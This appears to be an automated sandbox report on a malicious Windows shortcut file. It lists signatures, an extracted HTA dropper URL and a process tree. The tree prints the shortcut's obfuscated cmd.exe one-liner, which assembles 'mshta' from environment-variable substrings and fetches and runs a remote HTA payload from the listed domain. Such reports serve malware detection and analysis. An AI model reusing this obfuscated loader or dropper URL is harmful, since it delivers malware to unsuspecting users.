Analysis
- max time kernel
58s - max time network
61s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
17/08/2026, 04:31
General
- Target DOC-HHXNSK.lnk
- Size 2KB
- Sample260817-e5q9hatbjd
- SHA256 6a3ca3199cea1fd5e9164128a7804fe6f47269fda17c9feebc92c2620db78f50
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-HHXNSK.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set TuJs=v2ymsn8&&set ZxhxE=7hl&&set yNtWd=6tab&&set Lkue=syswlcdzwsys&&set UrE=cacheboipmsshmtcache&&set WyNDn=logvnsyfflog&&set ufMrQ=infabucrgzinf&&set Yk=infpknoiadsutrxtinf&&set lEh=nm5sfbp&&set ge=ifstac&&set xCcE=pyrt7u&&set On=oldzmseaazccnjvoold&&set jdU=cfgsfyzlmgxscfg&&set dhEl=dbgndepjssnvbvfhdbdbg&&set jZaR=ht@tp@s@:@//m@a-pdffil@[email protected]/h@/esta@gio@1.@p@hp@?r=39@1@4@6@9FB@5D@82D@B&&start /b !TuJs:~3,2!!ZxhxE:~1,1!!yNtWd:~1,2! !jZaR:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵
-
-